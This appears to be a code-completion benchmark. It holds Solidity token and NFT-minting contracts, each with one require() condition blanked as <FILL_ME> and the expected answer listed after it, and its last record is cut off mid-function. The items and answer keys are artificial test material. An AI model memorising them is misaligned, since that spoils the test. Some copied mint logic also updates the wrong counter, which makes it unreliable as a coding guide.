function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
function manualSwap() external {
}
/*//////////////////////////////////////////////////////////////
GAME LOGIC
//////////////////////////////////////////////////////////////*/
// @dev Function to lock balance (deducts from normal balance and adds to locked balance)
function lockBalance(address account, uint256 amount) internal {
}
// @dev Function to unlock balance (adds back to normal balance and deducts from locked balance)
function unlockBalance(address account, uint256 amount) internal {
}
// @dev Function to get the locked balances of all active players
function getLockedBalances() public view returns (address[] memory, uint256[] memory) {
}
function showAllWalletsAndGamesPlayed() public view returns(address[] memory, uint256[] memory) {
}
function authenticate(string memory _secretKey) public {
}
function checkBalance(address _user) public view returns (uint256) {
}
function getInfo() public view returns (address[] memory, string[] memory, uint256[] memory) {
}
function startGame(int64 _telegramId, uint256 _gameId, address[] memory _players, uint256[] memory _bets, uint256 _totalBet) public {
require(msg.sender == owner() || msg.sender == secondaryContract, "Unauthorized");
for(uint i = 0; i < _players.length; i++) {
require(isAuthenticated[_players[i]], "All players must be authenticated.");
require(<FILL_ME>)
lockBalance(_players[i], _bets[i]); // Locking tokens here
activePlayers.push(_players[i]); // Updating active players
}
Game memory newGame = Game(_telegramId, _gameId, _players, _bets, _totalBet, true);
games.push(newGame);
emit GameStarted(_telegramId, _gameId, _players, _bets, _totalBet);
}
// @dev Give back the tokens in case of error
function releaseLockedFunds(uint256 _gameId) public {
}
// Check the last rewarded holders
function getLastRewardedHolders() public view returns (address[] memory, uint256[] memory) {
}
// Check winners
function getWinnersDetails() public view returns (address[] memory, uint256[] memory, uint256[] memory) {
}
// @dev Only owner can declare a winner
function declareWinner(int64 _telegramId, uint256 _gameId, address[] memory _winners) public {
}
function findGameIndex(int64 _telegramId, uint256 _gameId) internal view returns (uint256 gameIndex) {
}
function validateWinners(Game storage game, address[] memory _winners) internal view {
}
function distributeToDeadAndTeamWallet(uint256 toDeadWallet, uint256 toTeamWallet) internal {
}
function distributeToHolders(uint256 toPlayers) internal {
}
function distributeToWinners(address[] memory _winners, uint256 eachWinnerGets, uint256 _gameId, int64 _telegramId, uint256 totalBet, uint256 toTeamWallet, uint256 toPlayers) internal {
}
/*//////////////////////////////////////////////////////////////
END GAME LOGIC
//////////////////////////////////////////////////////////////*/
}
| _balance[_players[i]]>=_bets[i],"Insufficient token balance for player." | 254,072 | _balance[_players[i]]>=_bets[i] |
"ShitCoin: Exceed supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ShitCoin is ERC20, Ownable {
uint256 public constant MAX_SUPPLY = 100_000_000_000_000 ether;
uint256 public constant RESERVED_FOR_POOL_SUPPLY = 25_000_000_000_000 ether;
uint256 public constant V_GIFT_SUPPLY = 25_000_000_000_000 ether;
uint256 public constant HOLDER_SUPPLY = 50_000_000_000_000 ether;
address public constant V_ADDRESS = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
address public constant ECOSYSTEM_ADDRESS = 0x6C20daed4A4a1ab696A396D523b3a2B721ab5AD2;
uint256 public _holderClaimed;
address public _claimer;
constructor() ERC20("ShitCoin", "SHIT") {
}
function holderClaim(address holder, uint256 amount) external {
require(_claimer == msg.sender, "ShitCoin: Not Claimer");
require(<FILL_ME>)
_holderClaimed += amount;
_mint(holder, amount);
}
function sweepRestHolderShares() external onlyOwner {
}
function setClaimer(address claimer) external onlyOwner {
}
}
| _holderClaimed+amount<=HOLDER_SUPPLY,"ShitCoin: Exceed supply" | 254,251 | _holderClaimed+amount<=HOLDER_SUPPLY |
"wl already mint out" | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
require(isWLSaleActive, "wl Sale is inactive.");
require(<FILL_ME>)
require((wlSalePrice * numberOfTokens) <= msg.value, "Don't send under (in ETH).");
require(numberOfTokens <= maxWLMintPerWallet, "out of wl sale per wallet");
require(addressWLMint[msg.sender] > 0, "not eligible for wl mint");
curFreeMintNum += numberOfTokens;
addressWLMint[msg.sender] -= numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function publicMint(uint256 numberOfTokens) external payable {
}
function freeMint(uint256 numberOfTokens) external payable {
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| curFreeMintNum+numberOfTokens<=maxWLMint,"wl already mint out" | 254,404 | curFreeMintNum+numberOfTokens<=maxWLMint |
"Don't send under (in ETH)." | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
require(isWLSaleActive, "wl Sale is inactive.");
require(curFreeMintNum + numberOfTokens <= maxWLMint, "wl already mint out");
require(<FILL_ME>)
require(numberOfTokens <= maxWLMintPerWallet, "out of wl sale per wallet");
require(addressWLMint[msg.sender] > 0, "not eligible for wl mint");
curFreeMintNum += numberOfTokens;
addressWLMint[msg.sender] -= numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function publicMint(uint256 numberOfTokens) external payable {
}
function freeMint(uint256 numberOfTokens) external payable {
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| (wlSalePrice*numberOfTokens)<=msg.value,"Don't send under (in ETH)." | 254,404 | (wlSalePrice*numberOfTokens)<=msg.value |
"not eligible for wl mint" | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
require(isWLSaleActive, "wl Sale is inactive.");
require(curFreeMintNum + numberOfTokens <= maxWLMint, "wl already mint out");
require((wlSalePrice * numberOfTokens) <= msg.value, "Don't send under (in ETH).");
require(numberOfTokens <= maxWLMintPerWallet, "out of wl sale per wallet");
require(<FILL_ME>)
curFreeMintNum += numberOfTokens;
addressWLMint[msg.sender] -= numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function publicMint(uint256 numberOfTokens) external payable {
}
function freeMint(uint256 numberOfTokens) external payable {
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| addressWLMint[msg.sender]>0,"not eligible for wl mint" | 254,404 | addressWLMint[msg.sender]>0 |
"public sale already mint out" | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
}
function publicMint(uint256 numberOfTokens) external payable {
require(isPublicSaleActive, "public Sale is inactive.");
require(<FILL_ME>)
require((publicSalePrice * numberOfTokens) <= msg.value, "Don't send under (in ETH).");
require(numberOfTokens <= maxPublicMintPerWallet, "out of public sale per wallet");
require(addressPublicMinted[msg.sender] < maxPublicMintPerWallet, "out of public sale per wallet.");
addressPublicMinted[msg.sender] += numberOfTokens;
curPublicMintNum += numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function freeMint(uint256 numberOfTokens) external payable {
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| curPublicMintNum+numberOfTokens<=maxPublicMint,"public sale already mint out" | 254,404 | curPublicMintNum+numberOfTokens<=maxPublicMint |
"Don't send under (in ETH)." | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
}
function publicMint(uint256 numberOfTokens) external payable {
require(isPublicSaleActive, "public Sale is inactive.");
require(curPublicMintNum + numberOfTokens <= maxPublicMint, "public sale already mint out");
require(<FILL_ME>)
require(numberOfTokens <= maxPublicMintPerWallet, "out of public sale per wallet");
require(addressPublicMinted[msg.sender] < maxPublicMintPerWallet, "out of public sale per wallet.");
addressPublicMinted[msg.sender] += numberOfTokens;
curPublicMintNum += numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function freeMint(uint256 numberOfTokens) external payable {
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| (publicSalePrice*numberOfTokens)<=msg.value,"Don't send under (in ETH)." | 254,404 | (publicSalePrice*numberOfTokens)<=msg.value |
"out of public sale per wallet." | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
}
function publicMint(uint256 numberOfTokens) external payable {
require(isPublicSaleActive, "public Sale is inactive.");
require(curPublicMintNum + numberOfTokens <= maxPublicMint, "public sale already mint out");
require((publicSalePrice * numberOfTokens) <= msg.value, "Don't send under (in ETH).");
require(numberOfTokens <= maxPublicMintPerWallet, "out of public sale per wallet");
require(<FILL_ME>)
addressPublicMinted[msg.sender] += numberOfTokens;
curPublicMintNum += numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function freeMint(uint256 numberOfTokens) external payable {
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| addressPublicMinted[msg.sender]<maxPublicMintPerWallet,"out of public sale per wallet." | 254,404 | addressPublicMinted[msg.sender]<maxPublicMintPerWallet |
"free sale already mint out" | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
}
function publicMint(uint256 numberOfTokens) external payable {
}
function freeMint(uint256 numberOfTokens) external payable {
require(isFreeSaleActive, "free Sale is inactive.");
require(<FILL_ME>)
require(numberOfTokens <= maxFreeMintPerWallet, "out of free sale per wallet");
require(addressFreeMinted[msg.sender] < maxFreeMintPerWallet, "out of free sale per wallet.");
addressFreeMinted[msg.sender] += numberOfTokens;
curFreeMintNum += numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| curFreeMintNum+numberOfTokens<=maxFreeMint,"free sale already mint out" | 254,404 | curFreeMintNum+numberOfTokens<=maxFreeMint |
"out of free sale per wallet." | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
}
function publicMint(uint256 numberOfTokens) external payable {
}
function freeMint(uint256 numberOfTokens) external payable {
require(isFreeSaleActive, "free Sale is inactive.");
require(curFreeMintNum + numberOfTokens <= maxFreeMint, "free sale already mint out");
require(numberOfTokens <= maxFreeMintPerWallet, "out of free sale per wallet");
require(<FILL_ME>)
addressFreeMinted[msg.sender] += numberOfTokens;
curFreeMintNum += numberOfTokens;
_safeMint(msg.sender, numberOfTokens);
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| addressFreeMinted[msg.sender]<maxFreeMintPerWallet,"out of free sale per wallet." | 254,404 | addressFreeMinted[msg.sender]<maxFreeMintPerWallet |
"other sale already mint out" | /*
============================================== Genesis People ==============================================
*/
pragma solidity ^0.8.0;
/**
* @title Genesis People
*/
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract GenesisPeople is ERC721A, Ownable {
bool public isPublicSaleActive = false;
bool public isWLSaleActive = false;
bool public isFreeSaleActive = false;
// uint256 public maxSupply = 8888;
//wl
uint256 public maxWLMint = 4000;
uint256 public curWLMintNum = 0;
uint256 public maxWLMintPerWallet = 2;
uint256 public wlSalePrice = 0.06 ether; //
//public sale
uint256 public maxPublicMint = 2112;
uint256 public curPublicMintNum = 0;
uint256 public maxPublicMintPerWallet = 10;
uint256 public publicSalePrice = 0.08 ether; //
//free
uint256 public maxFreeMint = 1888;
uint256 public curFreeMintNum = 0;
uint256 public maxFreeMintPerWallet = 1;
//other
uint256 public maxOtherMint = 888;
uint256 public curOtherMintNum = 0;
string private _baseURIextended = "https://genesispeople.s3.us-west-1.amazonaws.com/metadata/genesispeople-metadata-";
address private proxyRegistryAddress ;
mapping(address => uint256) private addressWLMint;
mapping(address => uint256) private addressPublicMinted;
mapping(address => uint256) private addressFreeMinted;
constructor() ERC721A("GenesisPeople", "GP", 500) {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setWLSaleState(bool _newWLState) public onlyOwner {
}
function setPublicSaleState(bool _newPublicState) public onlyOwner {
}
function setFreeSaleState(bool _newFreeState) public onlyOwner {
}
function setPrice(uint256 _newPublicPrice,uint256 _newWLPrice) external onlyOwner(){
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
function wlMint(uint256 numberOfTokens) external payable {
}
function publicMint(uint256 numberOfTokens) external payable {
}
function freeMint(uint256 numberOfTokens) external payable {
}
function gift(address _to,uint256 numberOfTokens) external onlyOwner {
require(<FILL_ME>)
curOtherMintNum += numberOfTokens;
_safeMint(_to, numberOfTokens);
}
function setWhiteList(address[] memory addresses) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| curOtherMintNum+numberOfTokens<=maxOtherMint,"other sale already mint out" | 254,404 | curOtherMintNum+numberOfTokens<=maxOtherMint |
"Count per wallet exceeded" | pragma solidity >=0.8.0;
contract EliteCruiseNFT is ERC721, ERC721URIStorage, Ownable, ReentrancyGuard {
string public baseURI = "";
uint256 public mintIndex = 1;
uint256 public availSupply = 950;
uint256 public withheldSupply = 50;
uint256 public mintPrice = 1 ether;
uint32 public denominator = 1000;
address public daoContract;
mapping(uint256 => CruiseMembership) public allCruiseElite;
mapping(address => uint256) public mintedTotal;
uint256 public maxCountPerWallet = 10;
address private cruiseOperationsWallet = 0x2947d8134f148B2A7Ed22C10FAfC4d6Cd42C1054;
address private devWallet = 0x1695e62192959A93625EdD8993A2c44faed666Ac;
address private investorGBWallet = 0x49C4D560C2b8C2C72962dA8B02B1C428d745a6Fd;
address private futureEmploymentWallet = 0xce9F8dDA015702E40cF697aDd3D55E2cF122c641;
address private ownershipWallet = 0xe34f72eD903c9f997B9f8658a1b082fd55093DA7;
address private eMaloneCDWallet = 0x79C61C20e9C407E4D768a78F7350B78157530183;
address private cruiseDaoWalletForCommunity = 0x12A75919B84810e02B1BD4b30b9C47da4c893B10;
address private cruiseDaoCharityWallet = 0xD48b024D9d0751f19Ab3D255101405EB534Ea76A;
constructor() ERC721("EliteCruiseNFT", "ECN") {
}
function _baseURI() internal view override returns (string memory) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function setBaseUri(string memory _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function getMintIndex() public view returns(uint256) {
}
function mint(string memory _tokenURI) public payable {
if (msg.sender == cruiseOperationsWallet) {
require(withheldSupply > 0, "Supply exceeded");
_safeMint(msg.sender, mintIndex);
_setTokenURI(mintIndex, _tokenURI);
withheldSupply -= 1;
CruiseMembership memory newCruiseElite = CruiseMembership(
mintIndex,
_tokenURI,
msg.sender,
msg.sender,
address(0),
0,
false,
true,
5
);
allCruiseElite[mintIndex] = newCruiseElite;
mintIndex += 1;
} else {
require(availSupply > 0, "Supply exceeded");
require(<FILL_ME>)
require(msg.value == mintPrice, "Ether value incorrect");
_safeMint(msg.sender, mintIndex);
_setTokenURI(mintIndex, _tokenURI);
mintedTotal[msg.sender] += 1;
availSupply -= 1;
CruiseMembership memory newCruiseElite = CruiseMembership(
mintIndex,
_tokenURI,
msg.sender,
msg.sender,
address(0),
mintPrice,
false,
false,
5
);
